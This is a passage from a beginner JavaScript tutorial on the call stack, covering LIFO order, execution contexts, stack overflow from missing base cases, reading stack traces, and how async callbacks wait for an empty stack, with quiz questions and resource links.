come out, you stack them one on top of another. When a server needs a plate, they always take the one from the **top** of the stack, not from the middle or bottom.\n\n```\n        ┌───────────┐\n        │  Plate 3  │  ← You add here (top)\n        ├───────────┤\n        │  Plate 2  │\n        ├───────────┤\n        │  Plate 1  │  ← First plate (bottom)\n        └───────────┘\n```\n\nThis is exactly how JavaScript keeps track of your functions! When you call a function, JavaScript puts it on top of a \"stack.\" When that function finishes, JavaScript removes it from the top and goes back to whatever was underneath.\n\nThis simple concept, **adding to the top and removing from the top**, is the foundation of how JavaScript executes your code.\n\n---\n\n## What is the Call Stack?\n\nThe **[call stack](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)** is a mechanism that JavaScript uses to keep track of where it is in your code. Think of it as JavaScript's \"to-do list\" for function calls, but one where it can only work on the item at the top.\n\n```javascript\nfunction first() { second(); }\nfunction second() { third(); }\nfunction third() { console.log('Hello!'); }\n\nfirst();\n// Stack grows: [first] → [second, first] → [third, second, first]\n// Stack shrinks: [second, first] → [first] → []\n```\n\n### The LIFO Principle\n\nThe call stack follows a principle called **LIFO**: **Last In, First Out**.\n\n- **Last In**: The most recent function call goes on top\n- **First Out**: The function on top must finish before we can get to the ones below\n\n```\nLIFO = Last In, First Out\n\n┌─────────────────┐\n│   function C    │  ← Last in (most recent call)\n├─────────────────┤     First to finish and leave\n│   function B    │\n├─────────────────┤\n│   function A    │  ← First in (earliest call)\n└─────────────────┘     Last to finish\n```\n\n### Why Does JavaScript Need a Call Stack?\n\nJavaScript is **[single-threaded](https://developer.mozilla.org/en-US/docs/Glossary/Thread)**, meaning it can only do **one thing at a time**. According to the ECMAScript specification, each function invocation creates a new execution context that gets pushed onto the stack. The call stack helps JavaScript:\n\n1. **Remember where it is** — Which function is currently running?\n2. **Know where to go back** — When a function finishes, where should execution continue?\n3. **Keep track of local variables** — Each function has its own variables that shouldn't interfere with others\n\n<Info>\n**ECMAScript Specification**: According to the official JavaScript specification, the call stack is implemented through \"[execution contexts](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model#stack_and_execution_contexts).\" Each function call creates a new execution context that gets pushed onto the stack.\n</Info>\n\n---\n\n## How the Call Stack Works: Step-by-Step\n\nLet's trace through a simple example to see the call stack in action.\n\n### A Simple Example\n\n```javascript\nfunction greet(name) {\n  const greeting = createGreeting(name);\n  console.log(greeting);\n}\n\nfunction createGreeting(name) {\n  return \"Hello, \" + name + \"!\";\n}\n\n// Start here\ngreet(\"Alice\");\nconsole.log(\"Done!\");\n```\n\n### Step-by-Step Execution\n\n<Steps>\n  <Step title=\"Program Starts\">\n    JavaScript begins executing your code from top to bottom. The call stack is empty.\n    \n    ```\n    Call Stack: [ empty ]\n    ```\n  </Step>\n  \n  <Step title=\"greet('Alice') is Called\">\n    JavaScript sees `greet(\"Alice\")` and pushes `greet` onto the call stack.\n    \n    ```\n    Call Stack: [ greet ]\n    ```\n    \n    Now JavaScript enters the `greet` function and starts executing its code.\n  </Step>\n  \n  <Step title=\"createGreeting('Alice') is Called\">\n    Inside `greet`, JavaScript encounters `createGreeting(name)`. It pushes `createGreeting` onto the stack.\n    \n    ```\n    Call Stack: [ createGreeting, greet ]\n    ```\n    \n    Notice: `greet` is **paused** while `createGreeting` runs. JavaScript can only do one thing at a time!\n  </Step>\n  \n  <Step title=\"createGreeting Returns\">\n    `createGreeting` finishes and returns `\"Hello, Alice!\"`. JavaScript pops it off the stack.\n    \n    ```\n    Call Stack: [ greet ]\n    ```\n    \n    The return value (`\"Hello, Alice!\"`) is passed back to `greet`.\n  </Step>\n  \n  <Step title=\"greet Continues and Finishes\">\n    Back in `greet`, the returned value is stored in `greeting`, then `console.log` runs. Finally, `greet` finishes and is popped off.\n    \n    ```\n    Call Stack: [ empty ]\n    ```\n  </Step>\n  \n  <Step title=\"Program Continues\">\n    With the stack empty, JavaScript continues to the next line: `console.log(\"Done!\")`.\n    \n    **Output:**\n    ```\n    Hello, Alice!\n    Done!\n    ```\n  </Step>\n</Steps>\n\n### Visual Summary\n\n<Tabs>\n  <Tab title=\"Stack Animation\">\n    ```\n    Step 1:          Step 2:          Step 3:              Step 4:          Step 5:\n    \n    ┌─────────┐      ┌─────────┐      ┌────────────────┐   ┌─────────┐      ┌─────────┐\n    │ (empty) │  →   │  greet  │  →   │createGreeting  │ → │  greet  │  →   │ (empty) │\n    └─────────┘      └─────────┘      ├────────────────┤   └─────────┘      └─────────┘\n                                      │     greet      │\n                                      └────────────────┘\n    \n    Program          greet()          createGreeting()     createGreeting   greet()\n    starts           called           called               returns          returns\n    ```\n  </Tab>\n  <Tab title=\"Execution Table\">\n    | Step | Action | Stack (top → bottom) | What's Happening |\n    |------|--------|---------------------|------------------|\n    | 1 | Start | `[]` | Program begins |\n    | 2 | Call `greet(\"Alice\")` | `[greet]` | Enter greet function |\n    | 3 | Call `createGreeting(\"Alice\")` | `[createGreeting, greet]` | greet pauses, enter createGreeting |\n    | 4 | Return from createGreeting | `[greet]` | createGreeting done, back to greet |\n    | 5 | Return from greet | `[]` | greet done, continue program |\n    | 6 | `console.log(\"Done!\")` | `[]` | Print \"Done!\" |\n  </Tab>\n</Tabs>\n\n---\n\n## Execution Context: What's Actually on the Stack?\n\nWhen we say a function is \"on the stack,\" what does that actually mean? Each entry on the call stack is called an **[execution context](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model#stack_and_execution_contexts)**, sometimes referred to as a **stack frame** in general computer science terms. It contains everything JavaScript needs to execute that function.\n\n<AccordionGroup>\n  <Accordion title=\"Function Arguments\">\n    The values passed to the function when it was called.\n    \n    ```javascript\n    function greet(name, age) {\n      // Arguments: { name: \"Alice\", age: 25 }\n    }\n    greet(\"Alice\", 25);\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Local Variables\">\n    Variables declared inside the function with `var`, `let`, or `const`.\n    \n    ```javascript\n    function calculate() {\n      const x = 10;      // Local variable\n      let y = 20;        // Local variable\n      var z = 30;        // Local variable\n      // These only exist inside this function\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"The 'this' Keyword\">\n    The value of `this` inside the function, which depends on how the function was called.\n    \n    ```javascript\n    const person = {\n      name: \"Alice\",\n      greet() {\n        console.log(this.name); // 'this' refers to person\n      }\n    };\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Return Address\">\n    Where JavaScript should continue executing after this function returns. This is how JavaScript knows to go back to the right place in your code.\n  </Accordion>\n  \n  <Accordion title=\"Scope Chain\">\n    Access to variables from outer (parent) functions. This is how closures work!\n    \n    ```javascript\n    function outer() {\n      const message = \"Hello\";\n      \n      function inner() {\n        console.log(message); // Can access 'message' from outer\n      }\n      \n      inner();\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n### Visualizing an Execution Context\n\n```\n┌─────────────────────────────────────────┐\n│         EXECUTION CONTEXT               │\n│         Function: greet                 │\n├─────────────────────────────────────────┤\n│  Arguments:    { name: \"Alice\" }        │\n│  Local Vars:   { greeting: undefined }  │\n│  this:         window (or undefined)    │\n│  Return to:    line 12, main program    │\n│  Outer Scope:  [global scope]           │\n└─────────────────────────────────────────┘\n```\n\n---\n\n## Nested Function Calls: A Deeper Example\n\nLet's look at a more complex example with multiple levels of function calls.\n\n```javascript\nfunction multiply(x, y) {\n  return x * y;\n}\n\nfunction square(n) {\n  return multiply(n, n);\n}\n\nfunction printSquare(n) {\n  const result = square(n);\n  console.log(result);\n}\n\nprintSquare(4);\n```\n\n### Tracing the Execution\n\n<Tabs>\n  <Tab title=\"Step-by-Step\">\n    **Step 1: Call printSquare(4)**\n    ```\n    Stack: [ printSquare ]\n    ```\n    \n    **Step 2: printSquare calls square(4)**\n    ```\n    Stack: [ square, printSquare ]\n    ```\n    \n    **Step 3: square calls multiply(4, 4)**\n    ```\n    Stack: [ multiply, square, printSquare ]\n    ```\n    This is the **maximum stack depth** for this program: 3 frames.\n    \n    **Step 4: multiply returns 16**\n    ```\n    Stack: [ square, printSquare ]\n    ```\n    \n    **Step 5: square returns 16**\n    ```\n    Stack: [ printSquare ]\n    ```\n    \n    **Step 6: printSquare logs 16 and returns**\n    ```\n    Stack: [ empty ]\n    ```\n    \n    **Output: `16`**\n  </Tab>\n  <Tab title=\"Full Diagram\">\n    ```\n    printSquare(4)     square(4)          multiply(4,4)       multiply          square           printSquare\n    called             called             called              returns 16        returns 16       returns\n    \n    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐   ┌─────────────┐   ┌─────────┐\n    │printSquare  │ →  │   square    │ →  │  multiply   │ →  │   square    │ → │printSquare  │ → │ (empty) │\n    └─────────────┘    ├─────────────┤    ├─────────────┤    ├─────────────┤   └─────────────┘   └─────────┘\n                       │printSquare  │    │   square    │    │printSquare  │\n                       └─────────────┘    ├─────────────┤    └─────────────┘\n                                          │printSquare  │\n                                          └─────────────┘\n    \n    Depth: 1           Depth: 2           Depth: 3           Depth: 2          Depth: 1          Depth: 0\n    ```\n  </Tab>\n</Tabs>\n\n<Tip>\n**Understanding the flow**: Each function must completely finish before the function that called it can continue. This is why `printSquare` has to wait for `square`, and `square` has to wait for `multiply`.\n</Tip>\n\n---\n\n## The #1 Call Stack Mistake: Stack Overflow\n\nThe call stack has a **limited size**. The default limit varies by engine — Chrome's V8 typically allows around 10,000–15,000 frames, while Firefox's SpiderMonkey has a similar threshold. If you keep adding functions without removing them, eventually you'll run out of space. This is called a **stack overflow**, and JavaScript throws a **[RangeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError)** when it happens.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         STACK OVERFLOW                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WRONG: No Base Case                    RIGHT: With Base Case            │\n│  ────────────────────                   ─────────────────────            │\n│                                                                          │\n│  function count() {                     function count(n) {              │\n│    count()  // Forever!                   if (n <= 0) return  // Stop!   │\n│  }                                        count(n - 1)                   │\n│                                         }                                │\n│                                                                          │\n│  Stack grows forever...                 Stack grows, then shrinks        │\n│  ┌─────────┐                            ┌─────────┐                      │\n│  │ count() │                            │ count(0)│ ← Returns            │\n│  ├─────────┤                            ├─────────┤                      │\n│  │ count() │                            │ count(1)│                      │\n│  ├─────────┤                            ├─────────┤                      │\n│  │ count() │                            │ count(2)│                      │\n│  ├─────────┤                            └─────────┘                      │\n│  │  ....   │                                                             │\n│  └─────────┘                                                             │\n│  💥 CRASH!                              ✓ Success!                       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**The Trap:** Recursive functions without a proper stopping condition will crash your program. The most common cause is **infinite recursion**, a function that calls itself forever without a base case.\n</Warning>\n\n### The Classic Mistake: Missing Base Case\n\n```javascript\n// ❌ BAD: This will crash!\nfunction countdown(n) {\n  console.log(n);\n  countdown(n - 1);  // Calls itself forever!\n}\n\ncountdown(5);\n```\n\n**What happens:**\n```\nStack: [ countdown(5) ]\nStack: [ countdown(4), countdown(5) ]\nStack: [ countdown(3), countdown(4), countdown(5) ]\nStack: [ countdown(2), countdown(3), countdown(4), countdown(5) ]\n... keeps growing forever ...\n💥 CRASH: Maximum call stack size exceeded\n```\n\n### The Fix: Add a Base Case\n\n```javascript\n// ✅ GOOD: This works correctly\nfunction countdown(n) {\n  if (n <= 0) {\n    console.log(\"Done!\");\n    return;  // ← BASE CASE: Stop here!\n  }\n  console.log(n);\n  countdown(n - 1);\n}\n\ncountdown(5);\n// Output: 5, 4, 3, 2, 1, Done!\n```\n\n**What happens now:**\n```\nStack: [ countdown(5) ]\nStack: [ countdown(4), countdown(5) ]\nStack: [ countdown(3), countdown(4), countdown(5) ]\nStack: [ countdown(2), countdown(3), ..., countdown(5) ]\nStack: [ countdown(1), countdown(2), ..., countdown(5) ]\nStack: [ countdown(0), countdown(1), ..., countdown(5) ]\n       ↑ Base case reached! Start returning.\nStack: [ countdown(1), ..., countdown(5) ]\nStack: [ countdown(2), ..., countdown(5) ]\n... stack unwinds ...\nStack: [ countdown(5) ]\nStack: [ empty ]\n✅ Program completes successfully\n```\n\n### Error Messages by Browser\n\n| Browser | Error Message |\n|---------|---------------|\n| Chrome | `RangeError: Maximum call stack size exceeded` |\n| Firefox | `InternalError: too much recursion` (non-standard) |\n| Safari | `RangeError: Maximum call stack size exceeded` |\n\n<Note>\nFirefox uses `InternalError` which is a non-standard error type specific to the SpiderMonkey engine. Chrome and Safari use the standard `RangeError`.\n</Note>\n\n### Common Causes of Stack Overflow\n\n<AccordionGroup>\n  <Accordion title=\"1. Infinite Recursion (No Base Case)\">\n    ```javascript\n    // Missing the stopping condition\n    function loop() {\n      loop();\n    }\n    loop(); // 💥 Crash!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Base Case Never Reached\">\n    ```javascript\n    function countUp(n) {\n      if (n >= 1000000000000) return; // Too far away!\n      countUp(n + 1);\n    }\n    countUp(0); // 💥 Crash before reaching base case\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Accidental Recursion in Setters\">\n    ```javascript\n    class Person {\n      set name(value) {\n        this.name = value; // Calls the setter again! Infinite loop!\n      }\n    }\n    \n    const p = new Person();\n    p.name = \"Alice\"; // 💥 Crash!\n    \n    // Fix: Use a different property name\n    class PersonFixed {\n      set name(value) {\n        this._name = value; // Use _name instead\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Circular Function Calls\">\n    ```javascript\n    function a() { b(); }\n    function b() { a(); } // a calls b, b calls a, forever!\n    \n    a(); // 💥 Crash!\n    ```\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Prevention tips:**\n1. Always define a clear **base case** for recursive functions\n2. Make sure each recursive call moves **toward** the base case\n3. Consider using **iteration** (loops) instead of recursion for simple cases\n4. Be careful with property setters, use different internal property names\n</Tip>\n\n---\n\n## Debugging the Call Stack\n\nWhen something goes wrong, the call stack is your best friend for figuring out what happened.\n\n### Reading a Stack Trace\n\nWhen an error occurs, JavaScript gives you a **[stack trace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/stack)**, a snapshot of the call stack at the moment of the error.\n\n```javascript\nfunction a() { b(); }\nfunction b() { c(); }\nfunction c() { \n  throw new Error('Something went wrong!'); \n}\n\na();\n```\n\n**Output:**\n```\nError: Something went wrong!\n    at c (script.js:4:9)\n    at b (script.js:2:14)\n    at a (script.js:1:14)\n    at script.js:7:1\n```\n\n**How to read it:**\n- Read from **top to bottom** = most recent call to oldest\n- `at c (script.js:4:9)` = Error occurred in function `c`, file `script.js`, line 4, column 9\n- The trace shows you exactly how the program got to the error\n\n### Using Browser DevTools\n\n<Steps>\n  <Step title=\"Open DevTools\">\n    Press `F12` or `Cmd+Option+I` (Mac) / `Ctrl+Shift+I` (Windows)\n  </Step>\n  \n  <Step title=\"Go to Sources Tab\">\n    Click on the \"Sources\" tab (Chrome) or \"Debugger\" tab (Firefox)\n  </Step>\n  \n  <Step title=\"Set a Breakpoint\">\n    Click on a line number in your code to set a breakpoint. Execution will pause there.\n  </Step>\n  \n  <Step title=\"View the Call Stack\">\n    When paused, look at the \"Call Stack\" panel on the right. It shows all the functions currently on the stack.\n  </Step>\n  \n  <Step title=\"Step Through Code\">\n    Use the step buttons to execute one line at a time and watch the stack change.\n  </Step>\n</Steps>\n\n<Tip>\n**Pro debugging tip:** If you're dealing with recursion, add a `console.log` at the start of your function to see how many times it's being called:\n\n```javascript\nfunction factorial(n) {\n  console.log('factorial called with n =', n);\n  if (n <= 1) return 1;\n  return n * factorial(n - 1);\n}\n```\n</Tip>\n\n---\n\n## The Call Stack and Asynchronous Code\n\nYou might be wondering: \"If JavaScript can only do one thing at a time, how does it handle things like `setTimeout` or fetching data from a server?\"\n\nGreat question! The call stack is only **part** of the picture.\n\n<Note>\nWhen you use asynchronous functions like [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout), [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API), or event listeners, JavaScript doesn't put them on the call stack immediately. Instead, they go through a different system involving the **[Event Loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop)** and **Task Queue**.\n\nThis is covered in detail in the [Event Loop](/concepts/event-loop) section.\n</Note>\n\nHere's a sneak peek:\n\n```javascript\nconsole.log('First');\n\nsetTimeout(() => {\n  console.log('Second');\n}, 0);\n\nconsole.log('Third');\n\n// Output:\n// First\n// Third\n// Second  ← Even with 0ms delay, this runs last!\n```\n\nThe `setTimeout` callback doesn't go directly on the call stack. It waits in a queue until the stack is empty. As Philip Roberts demonstrated in his acclaimed JSConf EU talk \"What the heck is the event loop?\" (viewed over 8 million times), this is why \"Third\" prints before \"Second\" even though the timeout is 0 milliseconds.\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"rotate\" href=\"/concepts/event-loop\">\n    Learn how JavaScript handles asynchronous operations\n  </Card>\n  <Card title=\"Promises\" icon=\"clock\" href=\"/concepts/promises\">\n    Modern way to handle async code\n  </Card>\n</CardGroup>\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"The call stack and memory heap are the same thing\">\n    **Wrong!** The call stack and heap are completely different structures:\n    \n    | Component | Purpose | Structure |\n    |-----------|---------|-----------|\n    | **Call Stack** | Tracks function execution | Ordered (LIFO), small, fast |\n    | **Heap** | Stores data (objects, arrays) | Unstructured, large |\n    \n    ```javascript\n    function example() {\n      // Primitives live in the stack frame\n      const x = 10;\n      const name = \"Alice\";\n      \n      // Objects live in the HEAP (reference stored in stack)\n      const user = { name: \"Alice\" };\n      const numbers = [1, 2, 3];\n    }\n    ```\n    \n    When the function returns, the stack frame is popped (primitives gone), but heap objects persist until garbage collected.\n  </Accordion>\n  \n  <Accordion title=\"Async callbacks execute immediately when the timer finishes\">\n    **Wrong!** When a timer finishes, the callback does NOT run immediately. It goes to the **Task Queue** and must wait for:\n    \n    1. The call stack to be completely empty\n    2. All microtasks to be processed first\n    3. Its turn in the task queue\n    \n    ```javascript\n    console.log('Start');\n    \n    setTimeout(() => {\n      console.log('Timer');  // Does NOT run at 0ms!\n    }, 0);\n    \n    console.log('End');\n    \n    // Output: Start, End, Timer\n    // Even with 0ms delay, 'Timer' prints LAST\n    ```\n    \n    The callback must wait until the current script finishes and the stack is empty.\n  </Accordion>\n  \n  <Accordion title=\"JavaScript can run multiple functions at once\">\n    **Wrong!** JavaScript is **single-threaded**. It has ONE call stack and can only execute ONE thing at a time.\n    \n    ```javascript\n    function a() { \n      console.log('A start');\n      b();  // JS pauses 'a' and runs 'b' completely\n      console.log('A end');\n    }\n    \n    function b() { \n      console.log('B');\n    }\n    \n    a();\n    // Output: A start, B, A end (sequential, not parallel)\n    ```\n    \n    **The source of confusion:** People mistake JavaScript's *asynchronous behavior* for *parallel execution*. Web APIs (timers, fetch, etc.) run in separate browser threads, but JavaScript code itself runs one operation at a time. The Event Loop coordinates callbacks, creating the *illusion* of concurrency.\n  </Accordion>\n  \n  <Accordion title=\"Promises are completely asynchronous\">\n    **Wrong!** The Promise *constructor* runs **synchronously**. Only the `.then()` callbacks are asynchronous:\n    \n    ```javascript\n    console.log('1');\n    \n    new Promise((resolve) => {\n      console.log('2');  // Runs SYNCHRONOUSLY!\n      resolve();\n    }).then(() => {\n      console.log('3');  // Async (microtask)\n    });\n    \n    console.log('4');\n    \n    // Output: 1, 2, 4, 3\n    // Note: '2' prints before '4'!\n    ```\n    \n    The executor function passed to `new Promise()` runs immediately on the call stack. Only the `.then()`, `.catch()`, and `.finally()` callbacks are queued as microtasks.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about the Call Stack:**\n\n1. **JavaScript is single-threaded** — It has ONE call stack and can only do one thing at a time\n\n2. **LIFO principle** — Last In, First Out. The most recent function call finishes first\n\n3. **Execution contexts** — Each function call creates a \"frame\" containing arguments, local variables, and return address\n\n4. **Synchronous execution** — Functions must complete before their callers can continue\n\n5. **Stack overflow** — Happens when the stack gets too deep, usually from infinite recursion\n\n6. **Always have a base case** — Recursive functions need a stopping condition\n\n7. **Stack traces are your friend** — They show you exactly how your program got to an error\n\n8. **Async callbacks wait** — `setTimeout`, `fetch`, and event callbacks don't run until the call stack is empty\n\n9. **Each frame is isolated** — Local variables in one function call don't affect variables in another call of the same function\n\n10. **Debugging tools show the stack** — Browser DevTools let you pause execution and inspect the current call stack\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does LIFO stand for and why is it important?\">\n    **Answer:** LIFO stands for **Last In, First Out**. \n    \n    It's important because it determines the order in which functions execute and return. The most recently called function must complete before the function that called it can continue. This is how JavaScript keeps track of nested function calls and knows where to return when a function finishes.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the maximum stack depth for this code?\">\n    ```javascript\n    function a() { b(); }\n    function b() { c(); }\n    function c() { d(); }\n    function d() { console.log('done'); }\n    a();\n    ```\n    \n    **Answer:** The maximum stack depth is **4 frames**.\n    \n    ```\n    Stack at deepest point: [ d, c, b, a ]\n    ```\n    \n    When `d()` is executing, all four functions are on the stack. After `d()` logs \"done\" and returns, the stack starts unwinding.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does this code cause a stack overflow?\">\n    ```javascript\n    function greet() {\n      greet();\n    }\n    greet();\n    ```\n    \n    **Answer:** This code causes a stack overflow because there's **no base case** to stop the recursion.\n    \n    - `greet()` is called\n    - `greet()` calls `greet()` again\n    - That `greet()` calls `greet()` again\n    - This continues forever, adding new frames to the stack\n    - Eventually the stack runs out of space → **Maximum call stack size exceeded**\n    \n    **Fix:** Add a condition to stop the recursion:\n    ```javascript\n    function greet(times) {\n      if (times <= 0) return;  // Base case\n      console.log('Hello!');\n      greet(times - 1);\n    }\n    greet(3);\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What information is stored in an execution context?\">\n    **Answer:** An execution context (stack frame) contains:\n    \n    1. **Function arguments** — The values passed to the function\n    2. **Local variables** — Variables declared with `var`, `let`, or `const`\n    3. **The `this` value** — The context binding for the function\n    4. **Return address** — Where to continue executing after the function returns\n    5. **Scope chain** — Access to variables from outer (parent) functions\n    \n    This is why each function call can have its own independent set of variables without interfering with other calls.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the output of this code and why?\">\n    ```javascript\n    console.log('First')\n    \n    setTimeout(() => {\n      console.log('Second')\n    }, 0)\n    \n    console.log('Third')\n    ```\n    \n    **Answer:** The output is:\n    ```\n    First\n    Third\n    Second\n    ```\n    \n    Even though `setTimeout` has a 0ms delay, \"Second\" prints last because:\n    \n    1. `setTimeout` doesn't put the callback directly on the call stack\n    2. Instead, the callback waits in the **task queue**\n    3. The event loop only moves it to the call stack when the stack is empty\n    4. \"Third\" runs first because it's already on the call stack\n    \n    This demonstrates that the call stack must be empty before async callbacks execute.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you read a stack trace?\">\n    Given this error:\n    ```\n    Error: Something went wrong!\n        at c (script.js:4:9)\n        at b (script.js:2:14)\n        at a (script.js:1:14)\n        at script.js:7:1\n    ```\n    \n    **Answer:** Read stack traces from **top to bottom** (most recent to oldest):\n    \n    1. **Top line** (`at c`) — Where the error actually occurred (function `c`, line 4, column 9)\n    2. **Following lines** — The chain of function calls that led here\n    3. **Bottom line** — Where the chain started (the initial call)\n    \n    The trace tells you: the program started at line 7, called `a()`, which called `b()`, which called `c()`, where the error was thrown. This helps you trace back through your code to find the root cause.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the call stack in JavaScript?\">\n    The call stack is a LIFO (Last In, First Out) data structure that JavaScript uses to track function execution. According to the ECMAScript specification, each function call creates an \"execution context\" that is pushed onto the stack. When a function returns, its context is popped off and execution resumes in the calling function.\n  </Accordion>\n\n  <Accordion title=\"What causes a stack overflow error in JavaScript?\">\n    A stack overflow occurs when the call stack exceeds its maximum size, typically around 10,000–15,000 frames in V8 (Chrome, Node.js). The most common cause is infinite recursion — a function that calls itself without a proper base case. JavaScript throws a `RangeError: Maximum call stack size exceeded` when this happens.\n  </Accordion>\n\n  <Accordion title=\"Why is JavaScript single-threaded?\">\n    JavaScript was designed as a single-threaded language to simplify DOM manipulation — having multiple threads modifying the page simultaneously would create race conditions. As documented in MDN, JavaScript has one call stack and can only execute one piece of code at a time. Asynchronous behavior is achieved through the event loop, Web APIs, and task queues rather than multiple threads.\n  </Accordion>\n\n  <Accordion title=\"What is an execution context in JavaScript?\">\n    An execution context is the environment in which JavaScript code is evaluated and executed. It contains the function's arguments, local variables, the `this` binding, a reference to the outer scope (scope chain), and the return address. The ECMAScript specification defines two types: the Global Execution Context (created when your script starts) and Function Execution Contexts (created on each function call).\n  </Accordion>\n\n  <Accordion title=\"How does the call stack relate to the event loop?\">\n    The call stack handles synchronous code execution, while the event loop manages asynchronous callbacks. When an async operation (like `setTimeout` or `fetch`) completes, its callback is placed in a task queue. The event loop checks if the call stack is empty, and only then moves the next callback onto the stack for execution. This architecture was popularized by Philip Roberts' JSConf EU talk, which has been viewed over 8 million times.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"atom\" href=\"/concepts/primitive-types\">\n    Understanding how primitives are stored in stack frames\n  </Card>\n  <Card title=\"Scope & Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Understanding variable visibility and how functions remember their environment\n  </Card>\n  <Card title=\"Event Loop\" icon=\"rotate\" href=\"/concepts/event-loop\">\n    How async code works with the call stack\n  </Card>\n  <Card title=\"Recursion\" icon=\"repeat\" href=\"/concepts/recursion\">\n    Functions that call themselves\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Call Stack — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Call_stack\">\n    Official MDN documentation on the Call Stack\n  </Card>\n  <Card title=\"JavaScript Event Loop — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop\">\n    How the event loop interacts with the call stack\n  </Card>\n  <Card title=\"RangeError — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError\">\n    The error thrown when the call stack overflows\n  </Card>\n  <Card title=\"Error.stack — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/stack\">\n    How to read and use stack traces for debugging\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Understanding Javascript Call Stack, Event Loops\" icon=\"newspaper\" href=\"https://medium.com/@gaurav.pandvia/understanding-javascript-function-executions-tasks-event-loop-call-stack-more-part-1-5683dea1f5ec\">\n    The complete picture: how the Call Stack, Heap, Event Loop, and Web APIs work together. Great starting point for understanding JavaScript's runtime.\n  </Card>\n  <Card title=\"Understanding the JavaScript Call Stack\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/understanding-the-javascript-call-stack-861e41ae61d4\">\n    Beginner-friendly freeCodeCamp tutorial covering LIFO, stack traces, and stack overflow with clear code examples.\n  </Card>\n  <Card title=\"What Is The Execution Context? What Is The Call Stack?\" icon=\"newspaper\" href=\"https://medium.com/@valentinog/javascript-what-is-the-execution-context-what-is-the-call-stack-bd23c78f10d1\">\n    Go deeper into how the JS engine creates execution contexts and manages the Global Memory. Perfect for interview prep.\n  </Card>\n  <Card title=\"What is the JS Event Loop and Call Stack?\" icon=\"newspaper\" href=\"https://gist.github.com/jesstelford/9a35d20a2aa044df8bf241e00d7bc2d0\">\n    Beautiful ASCII art visualization showing step-by-step how setTimeout interacts with the Call Stack and Event Loop.\n  </Card>\n  <Card title=\"Understanding Execution Context and Execution Stack\" icon=\"newspaper\" href=\"https://blog.bitsrc.io/understanding-execution-context-and-execution-stack-in-javascript-1c9ea8642dd0\">\n    Advanced deep-dive into Creation vs Execution phases, Lexical Environment, and why `let`/`const` behave differently than `var`.\n  </Card>\n  <Card title=\"How JavaScript Works Under The Hood\" icon=\"newspaper\" href=\"https://dev.to/bipinrajbhar/how-javascript-works-under-the-hood-an-overview-of-javascript-engine-heap-and-call-stack-1j5o\">\n    Explore the JS Engine architecture: V8, memory heap, and call stack from a systems perspective.\n  </Card>\n</CardGroup>\n\n## Courses\n\n<Card title=\"Introduction to Asynchronous JavaScript — Piccalilli\" icon=\"graduation-cap\" href=\"https://piccalil.li/javascript-for-everyone/lessons/48\">\n  Part of the \"JavaScript for Everyone\" course by Mat Marquis. This free lesson explains why JavaScript is single-threaded, how the call stack manages execution contexts, and introduces the event loop and concurrency model. Beautifully written with a fun narrative style.\n</Card>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"What the heck is the event loop anyway?\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8aGhZQkoFbQ\">\n    🏆 The legendary JSConf talk that made mass developers finally \"get\" the event loop. Amazing visualizations — a must watch!\n  </Card>\n  <Card title=\"The JS Call Stack Explained In 9 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=W8AeMrVtFLY\">\n    Short, sweet, and beginner-friendly. Colt Steele breaks down the call stack with practical examples.\n  </Card>\n  <Card title=\"How JavaScript Code is executed? & Call Stack\" icon=\"video\" href=\"https://www.youtube.com/watch?v=iLWTnMzWtj4\">\n    Part of the popular \"Namaste JavaScript\" series. Akshay Saini explains execution with great visuals and examples.\n  </Card>\n  <Card title=\"Understanding JavaScript Execution\" icon=\"video\" 